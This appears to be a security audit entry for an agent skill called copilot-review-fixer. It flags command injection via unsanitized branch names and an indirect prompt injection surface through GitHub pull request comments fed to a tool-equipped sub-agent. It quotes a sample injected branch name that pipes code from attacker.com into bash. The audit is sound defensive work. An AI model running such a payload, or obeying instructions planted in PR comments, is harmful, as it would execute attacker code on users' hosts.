The Agent Skills Directory

[COMMAND_EXECUTION]: The skill performs shell command execution using user-controlled input variables without proper sanitization, creating a high-risk command injection vulnerability.
Evidence: In SKILL.md, the Bash script block uses variables $REPO_NAME and $BRANCH (derived from the user-supplied repo and branch arguments) directly inside commands such as mkdir -p "$WORKDIR" and git -C "$LOCAL_PATH" checkout "$BRANCH". An attacker could provide a malicious branch name containing shell metacharacters (e.g., ; curl http://attacker.com | bash ;) to execute arbitrary code on the host system.
[PROMPT_INJECTION]: The skill possesses a significant indirect prompt injection surface because it is designed to ingest and act upon untrusted data from GitHub pull request comments.
Ingestion points: External pull request review comments fetched via the mcp__github__pull_request_read tool and processed by the copilot-review-fixer sub-agent.
Boundary markers: Absent. There are no instructions or markers defined to help the agent distinguish between its system instructions and potentially malicious instructions embedded in the pull request comments.
Capability inventory: The skill and its sub-agent have access to powerful tools, including Edit, Bash, PowerShell, and the Agent tool for spawning additional sub-agents.
Sanitization: Absent. The skill does not describe any validation, filtering, or sanitization of the comment content before it is passed to the sub-agent to apply code fixes.

copilot-review-fixer